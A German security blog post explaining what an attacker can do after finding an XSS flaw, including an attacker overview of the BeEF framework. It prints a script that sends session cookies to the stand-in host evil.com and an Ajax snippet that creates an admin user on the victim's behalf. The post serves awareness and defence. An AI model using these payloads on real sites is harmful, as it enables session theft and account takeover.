Blog

XSS – Ausnutzung aus der Sicht eines Angreifers

Wir haben eine XSS-Lücke in einer Seite gefunden und sogar schon eine PopUp-Box gepoppt. Bravo! Aber was kann man damit eigentlich alles anfangen?

Hierbei müssen zwei unterschiedliche Techniken unterschieden werden: Entweder wir exfiltieren Daten (Session Cookies, Zugangsdaten etc), oder wir tätigen Aufrufe der Webseite im Namen des Benutzers, um tiefer ins System einzudringen.

Exfiltrieren von Daten

Die meisten denken immer: Wow, da ist eine alert/Popup-Box, die dem Benutzer etwas anzeigt, was er sowieso schon weiß, aber wissen nicht, dass Daten auch einfach über einfachste Wege an externe Systeme übermittelt werden können.

Die wohl einfachste Methode ist das Einbinden eines Bilds oder Script-Tags und die Übertragung der Daten als URL-Parameter.

<script>(new Image()).src = ”http://evil.com/”+document.cookie</script>

Hierdurch wird ein neues Bild generiert und das Session Cookie in der URL übertragen. Auf dem Server “evil.com” kann nun bequem das Cookie ausgelesen werden, um sich als Benutzer auszugeben.

Direktes Ausführen von Befehlen

In der heutigen Zeit sind Session Cookies meistens aber so kurzlebig, dass es wenig Sinn ergibt, das Session Cookie zu stehlen. Es ist weitaus einfacher, Code einzubinden, der Aktionen im Namen des Benutzers ausführt.

Durch Ajax Requests können hier Funktionen direkt aufgerufen werden, um so in einer Applikation beispielsweise neue Benutzer anzulegen oder einem bestehenden Benutzer administrative Berechtigungen zu geben.

xhttp.open("POST", "add_user.php", true);
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhttp.send("name=Henry&password=SuperS3cr3t&role=admin");

Selbst ein CSRF-Schutz ist hier natürlich nicht wirksam, da der Token über JavaScript ausgelesen und mitgegeben werden kann.

Angreifen des Clients

Durch eine XSS-Schwachstelle kann auch der Browser des Benutzers angegriffen werden, um Malware zu verteilen, oder eine Schwachstelle des Browsers ausgenutzt werden, um seinen Rechner komplett zu übernehmen.

Der Vorteil eines Angreifers liegt hier darin, dass die Malware nicht über seine Server verteilt wird. Die Wahrscheinlichkeit, den Angreifer zu finden, ist sehr gering. Der Schaden bleibt somit an den Webseiten-Betreibern hängen.

BeEF: Die eierlegende Wollmilchsau

Um diese beiden Arten von Angriffen nicht komplett von Hand zu machen, gibt es diverse Frameworks. Hier möchte ich aber auf das größte Framework eingehen: “BeEF – The Browser Exploitation Framework Project

Hierbei handelt es sich um eine Anwendung, mit der Schadcode gezielt in Browser über XSS-Schwachstellen injiziert werden können, um langfristig den Browser auszunutzen. Das Projekt stellt vordefinierten Schadcode bereit, um Angriffe zu erleichtern und somit den Zeitaufwand zum Entwickeln von eigenem Schadcode gering zu halten.

In BeEF werden Browser “gehooked”, wobei daraufhin weiterer Code eingebunden werden kann. BeEF ist hier im Prinzip das Metasploit für Browser. Es können unterschiedliche Module/Plugins eingebunden werden, um einen Angriff noch durchschlagender zu machen.

So sind im Framework bereits Module eingebunden, um einen Administrator zu einer WordPress-Installation hinzuzufügen und Webcams zu aktivieren.

Auf Basis von bereits gesammelten Informationen über den jeweiligen Browser werden Module auch nach ihrer Möglichkeit der Ausführbarkeit und Relevanz eingestuft und diese Einstufung als einfaches Ampelsystem ausgegeben.

Dadurch, dass man nun Javascript auf dem System des Benutzers ausführt, ist man auch im Netzwerk des Benutzers, was einen Angriff auf interne NAS-Systeme, Router oder Switche deutlich vereinfacht und wofür BeEF auch die nötigen Module bereithält.

Neben den Modulen können auch eigene Requests über Hand eingetragen und gesendet werden. Da die Zugriffe über den Browser des Opfers passieren, werden natürlich auch sämtliche Cookies von ihm verwendet, um sich an den jeweiligen Seiten zu authentifizieren.

Da BeEF auch eine REST-API hat, ist ein Angreifer hier auch nicht auf das WebPanel angewiesen und kann automatisiert Browser angreifen, sobald sie online kommen.

Fazit

Wir sehen also, dass eine einfache Popup-Box nicht das Ende für einen XSS-Angriff bedeutet. Ein Angreifer hat hier mehrere Methoden, vom einfachen Auslesen von Session Cookies bis hin zur Übernahme von Geräten im Netzwerk des Opfers.

Auch wenn XSS nicht überdramatisiert werden sollte, stellt es doch aktuell eine größere Gefahr dar als viele glauben.

Vorheriger Beitrag
Cross-Site Scripting (XSS) – Erkennen, Verstehen und Verhindern
Nächster Beitrag
Die Open Web Application Security Project Top 10 2017 – Ein essentielles Dokument für Entwickler und Sicherheitsexperten

Ähnliche Beiträge

Es wurden keine Ergebnisse gefunden, die deinen Suchkriterien entsprechen.

Menü